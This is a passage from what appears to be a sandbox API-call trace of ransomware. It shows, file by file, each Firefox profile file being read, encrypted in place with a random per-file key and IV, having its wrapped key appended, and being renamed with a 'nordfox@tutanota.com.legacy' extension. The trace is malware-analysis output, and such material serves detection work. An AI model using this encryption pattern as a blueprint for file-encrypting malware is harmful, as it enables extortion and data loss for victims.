hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0178.723] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0178.723] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0178.723] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0178.723] CloseHandle (hObject=0x1a4c) returned 1 [0178.723] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\block-flash-digest256.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\block-flash-digest256.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\block-flash-digest256.pset.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\block-flash-digest256.pset.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0178.725] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0178.725] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0178.725] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\base-track-digest256.sbstore", dwFileAttributes=0x80) returned 1 [0178.725] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c9868 [0178.725] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x60a2b8 [0178.725] ReadFile (in: hFile=0x1a4c, lpBuffer=0x30d7038, nNumberOfBytesToRead=0xf238, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0xf238, lpOverlapped=0x0) returned 1 [0178.801] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-62008, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.801] WriteFile (in: hFile=0x1a4c, lpBuffer=0x30e6278*, nNumberOfBytesToWrite=0xf238, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e6278*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf238, lpOverlapped=0x0) returned 1 [0178.802] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf238 [0178.802] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0178.802] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0178.802] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0178.802] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0178.803] CloseHandle (hObject=0x1a4c) returned 1 [0178.803] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\base-track-digest256.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\base-track-digest256.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\base-track-digest256.sbstore.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\base-track-digest256.sbstore.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0178.805] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0178.805] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0178.805] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\base-track-digest256.pset", dwFileAttributes=0x80) returned 1 [0178.805] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30cac58 [0178.805] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x609d58 [0178.806] ReadFile (in: hFile=0x1a4c, lpBuffer=0x2e200f0, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e200f0*, lpNumberOfBytesRead=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0178.806] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.806] WriteFile (in: hFile=0x1a4c, lpBuffer=0x2e200d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e200d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0178.807] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10 [0178.807] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0178.807] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0178.807] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0178.807] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0178.808] CloseHandle (hObject=0x1a4c) returned 1 [0178.808] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\base-track-digest256.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\base-track-digest256.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\base-track-digest256.pset.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\base-track-digest256.pset.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0178.809] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0178.809] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0178.810] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\allow-flashallow-digest256.sbstore", dwFileAttributes=0x80) returned 1 [0178.810] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585130 [0178.810] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x619020 [0178.810] ReadFile (in: hFile=0x1a4c, lpBuffer=0x5e6d80, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e6d80*, lpNumberOfBytesRead=0x2e1f9bc*=0xe8, lpOverlapped=0x0) returned 1 [0178.811] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.811] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5e7410*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e7410*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe8, lpOverlapped=0x0) returned 1 [0178.811] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe8 [0178.812] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0178.812] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0178.812] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0178.812] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0178.812] CloseHandle (hObject=0x1a4c) returned 1 [0178.813] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\allow-flashallow-digest256.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\allow-flashallow-digest256.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\allow-flashallow-digest256.sbstore.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\allow-flashallow-digest256.sbstore.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0178.818] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0178.818] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0178.818] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\allow-flashallow-digest256.pset", dwFileAttributes=0x80) returned 1 [0178.818] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x5858f0 [0178.818] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x619020 [0178.818] ReadFile (in: hFile=0x1a4c, lpBuffer=0x2e20150, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20150*, lpNumberOfBytesRead=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0178.819] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.819] WriteFile (in: hFile=0x1a4c, lpBuffer=0x2e20348*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20348*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0178.819] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10 [0178.819] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0178.819] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0178.820] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0178.820] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0178.820] CloseHandle (hObject=0x1a4c) returned 1 [0178.823] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\allow-flashallow-digest256.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\allow-flashallow-digest256.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\allow-flashallow-digest256.pset.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\allow-flashallow-digest256.pset.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0178.831] SetLastError (dwErrCode=0x0) [0178.831] GetLastError () returned 0x0 [0178.831] SetLastError (dwErrCode=0x0) [0178.831] GetLastError () returned 0x0 [0178.831] SetLastError (dwErrCode=0x0) [0178.831] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0178.831] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dc90 [0178.831] SetLastError (dwErrCode=0x0) [0178.831] GetLastError () returned 0x0 [0178.831] SetLastError (dwErrCode=0x0) [0178.831] GetLastError () returned 0x0 [0178.831] SetLastError (dwErrCode=0x0) [0178.831] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0178.831] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dad8 [0178.831] SetLastError (dwErrCode=0x0) [0178.831] GetLastError () returned 0x0 [0178.831] SetLastError (dwErrCode=0x0) [0178.831] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578df0 [0178.831] SetLastError (dwErrCode=0x0) [0178.831] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f63638 [0178.832] SetLastError (dwErrCode=0x0) [0178.832] GetLastError () returned 0x0 [0178.832] SetLastError (dwErrCode=0x0) [0178.832] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578a78 [0178.832] SetLastError (dwErrCode=0x0) [0178.832] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0178.832] SetLastError (dwErrCode=0x0) [0178.832] GetLastError () returned 0x0 [0178.832] SetLastError (dwErrCode=0x0) [0178.832] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578138 [0178.832] SetLastError (dwErrCode=0x0) [0178.832] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0178.832] SetLastError (dwErrCode=0x0) [0178.832] GetLastError () returned 0x0 [0178.832] SetLastError (dwErrCode=0x0) [0178.832] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578cc8 [0178.832] SetLastError (dwErrCode=0x0) [0178.832] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b70 [0178.832] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0178.832] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0178.832] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\startupCache.8.little", dwFileAttributes=0x80) returned 1 [0178.848] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30ca518 [0178.849] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x60a2b8 [0178.866] ReadFile (in: hFile=0x1a50, lpBuffer=0x3526020, nNumberOfBytesToRead=0x44bcec, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3526020*, lpNumberOfBytesRead=0x2e1f9bc*=0x44bcec, lpOverlapped=0x0) returned 1 [0179.043] SetFilePointer (in: hFile=0x1a50, lDistanceToMove=-4504812, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.044] WriteFile (in: hFile=0x1a50, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0x44bcec, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x44bcec, lpOverlapped=0x0) returned 1 [0179.126] SetFilePointer (in: hFile=0x1a50, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x44bcec [0179.126] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0179.126] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0179.126] WriteFile (in: hFile=0x1a50, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0179.126] WriteFile (in: hFile=0x1a50, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0179.127] CloseHandle (hObject=0x1a50) returned 1 [0179.127] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\startupCache.8.little" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\startupcache\\startupcache.8.little"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\startupCache.8.little.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\startupcache\\startupcache.8.little.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0179.129] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0179.129] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0179.129] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-current.bin", dwFileAttributes=0x80) returned 1 [0179.130] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30cac58 [0179.130] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x60a410 [0179.147] ReadFile (in: hFile=0x1a50, lpBuffer=0x352e020, nNumberOfBytesToRead=0x478118, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x352e020*, lpNumberOfBytesRead=0x2e1f9bc*=0x478118, lpOverlapped=0x0) returned 1 [0179.395] SetFilePointer (in: hFile=0x1a50, lDistanceToMove=-4686104, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.395] WriteFile (in: hFile=0x1a50, lpBuffer=0x39be020*, nNumberOfBytesToWrite=0x478118, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x39be020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x478118, lpOverlapped=0x0) returned 1 [0179.488] SetFilePointer (in: hFile=0x1a50, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x478118 [0179.488] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0179.488] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0179.489] WriteFile (in: hFile=0x1a50, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0179.496] WriteFile (in: hFile=0x1a50, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0179.497] CloseHandle (hObject=0x1a50) returned 1 [0179.497] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-current.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\startupcache\\scriptcache-current.bin"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-current.bin.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\startupcache\\scriptcache-current.bin.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0179.498] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0179.498] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0179.498] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-child-current.bin", dwFileAttributes=0x80) returned 1 [0179.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585cd0 [0179.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x618460 [0179.503] ReadFile (in: hFile=0x1a50, lpBuffer=0x6f4020, nNumberOfBytesToRead=0xf94c4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6f4020*, lpNumberOfBytesRead=0x2e1f9bc*=0xf94c4, lpOverlapped=0x0) returned 1 [0179.543] SetFilePointer (in: hFile=0x1a50, lDistanceToMove=-1021124, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.544] WriteFile (in: hFile=0x1a50, lpBuffer=0x3529020*, nNumberOfBytesToWrite=0xf94c4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3529020*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf94c4, lpOverlapped=0x0) returned 1 [0179.555] SetFilePointer (in: hFile=0x1a50, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf94c4 [0179.555] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0179.555] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0179.555] WriteFile (in: hFile=0x1a50, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0179.556] WriteFile (in: 